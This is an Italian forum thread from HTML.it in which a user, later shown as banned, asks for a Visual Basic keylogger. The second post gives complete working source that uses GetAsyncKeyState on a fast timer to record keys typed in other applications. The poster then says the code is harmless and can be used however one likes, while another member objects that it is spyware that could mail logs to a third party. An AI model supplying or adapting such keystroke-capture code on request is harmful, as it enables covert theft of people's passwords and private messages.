Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 11

Discussione: [VB] key logger

  1. #1
    Utente bannato
    Registrato dal
    Nov 2002
    Messaggi
    111

    [VB] key logger

    ciao a tutti. sto cercando un programmino in vb che mi faccia il log dei tasti premuti.. sapete dove posso trovarlo. grazie

  2. #2
    codice:
    'In a module
    Public Const DT_CENTER = &H1
    Public Const DT_WORDBREAK = &H10
    Type RECT
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
    End Type
    Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
    Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
    Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
    Global Cnt As Long, sSave As String, sOld As String, Ret As String
    Dim Tel As Long
    Function GetPressedKey() As String
        For Cnt = 32 To 128
            'Get the keystate of a specified key
            If GetAsyncKeyState(Cnt) <> 0 Then
                GetPressedKey = Chr$(Cnt)
                Exit For
            End If
        Next Cnt
    End Function
    Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
        Ret = GetPressedKey
        If Ret <> sOld Then
            sOld = Ret
            sSave = sSave + sOld
        End If
    End Sub
    
    'In a form
    Private Sub Form_Load()
        'KPD-Team 1999
        'URL: http://www.allapi.net/
        'E-Mail: KPDTeam@Allapi.net
        Me.Caption = "Key Spy"
        'Create an API-timer
        SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
    End Sub
    Private Sub Form_Paint()
        Dim R As RECT
        Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown."
        'Clear the form
        Me.Cls
        'API uses pixels
        Me.ScaleMode = vbPixels
        'Set the rectangle's values
        SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
        'Draw the text on the form
        DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
    End Sub
    Private Sub Form_Resize()
        Form_Paint
    End Sub
    Private Sub Form_Unload(Cancel As Integer)
        'Kill our API-timer
        KillTimer Me.hwnd, 0
        'Show all the typed keys
        MsgBox sSave
    End Sub
    Vascello fantasma dei mentecatti nonchč baronetto della scara corona alcolica, piccolo spuccello di pezza dislessico e ubriaco- Colui che ha modificato l'orribile scritta - Gran Evacuatore Mentecatto - Tristo Mietitore Mentecatto chi usa uTonter danneggia anche te

  3. #3
    Utente bannato
    Registrato dal
    Nov 2002
    Messaggi
    111
    grazie peregā...

    [OT]
    hai un pvt
    [/OT]

  4. #4
    Utente di HTML.it L'avatar di yyzyyz
    Registrato dal
    Oct 2001
    Messaggi
    1,653
    mi sapreste dire a cosa serve il key-logger ?

  5. #5
    Utente bannato
    Registrato dal
    Nov 2002
    Messaggi
    111
    Originariamente inviato da yyzyyz
    mi sapreste dire a cosa serve il key-logger ?
    per loggare i key

  6. #6
    Utente di HTML.it L'avatar di yyzyyz
    Registrato dal
    Oct 2001
    Messaggi
    1,653
    in italiano ?

  7. #7
    salvare in un file tutto quello che digiti sulla tastiera....

    Hack rulez :adhone:
    http://www.vipexsoft.com
    Se non credi in te stesso...
    ... Scordati ke lo faccia io!!!
    - vipex -

  8. #8
    Definizione di key-logger: programma per computer privo di interfaccia utente ed eseguito in modalitā nascosta, in grado di salvare su un file (tipicamente con estensione .log) tutti gli eventi della tastiera, ovvero i tasti premuti dall'utente. Inutile installarlo sul proprio pc, a meno che uno non soffra di gravi amnesie. :quipy:
    Chi non cerca trova.

  9. #9
    chiariamo il codice non č di per se pericoloso
    quindi č perfettamente legito postarlo poi usatelo come vi pare
    Vascello fantasma dei mentecatti nonchč baronetto della scara corona alcolica, piccolo spuccello di pezza dislessico e ubriaco- Colui che ha modificato l'orribile scritta - Gran Evacuatore Mentecatto - Tristo Mietitore Mentecatto chi usa uTonter danneggia anche te

  10. #10
    Utente di HTML.it L'avatar di yyzyyz
    Registrato dal
    Oct 2001
    Messaggi
    1,653
    ... a meno che uno non soffra di gravi amnesie.
    x tas
    :quote: tas mi fai morire.

    x xegallo
    xegallo a te sembra lecito un sorgente ke fa praticamente da spy ? Nn riesco proprio a capire la sua utilitā in un programma, inoltre tu dici ke nn puo essere pericoloso, pero' se tu unisci il tuo sorgente ad un programma ke mi manda il file.log ad una determinata email (la spia), questo nn ti sembra pericoloso ?
    XEGALLOOO!! lo spionaggio nn ti sembra pericoloso ?

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.